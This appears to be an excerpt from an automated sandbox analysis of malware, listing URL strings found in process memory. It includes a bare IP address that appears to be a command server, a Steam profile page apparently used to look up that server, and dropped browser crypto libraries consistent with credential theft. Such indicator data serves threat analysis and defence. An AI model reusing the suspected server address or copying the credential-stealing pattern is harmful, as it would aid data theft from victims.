Source: katB4C0.tmp, 0000000B.00000003.2367775910.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009AA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59/~
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59AKEH
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000052E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.109.242.59GDHJ
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1725399899.000000000C893000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1725399899.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1723237920.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1723237920.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1720906184.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1720143195.0000000001240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1723237920.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: explorer.exe, 00000001.00000000.1723237920.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, DHIEHI.11.dr String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, DHIEHI.11.dr String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOIT
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&amp;l=english&am
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&amp;l=engli
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&amp;
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&amp;l=en
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&amp;l=englis
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&amp;l=
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&amp;l=engli
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&amp;l=engli
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&amp;
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&amp;
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=1rP88j3WZLBx&amp
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&amp;l=engl
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&amp;l=
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&amp;
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js
Source: katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, DHIEHI.11.dr String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, DHIEHI.11.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1725399899.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.com
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://help.steampowered.com/en/
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: DHIEHI.11.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: https://mozilla.org0/
Source: explorer.exe, 00000001.00000000.1725399899.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.com_
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: explorer.exe, 00000001.00000000.1725399899.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.comcember
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/
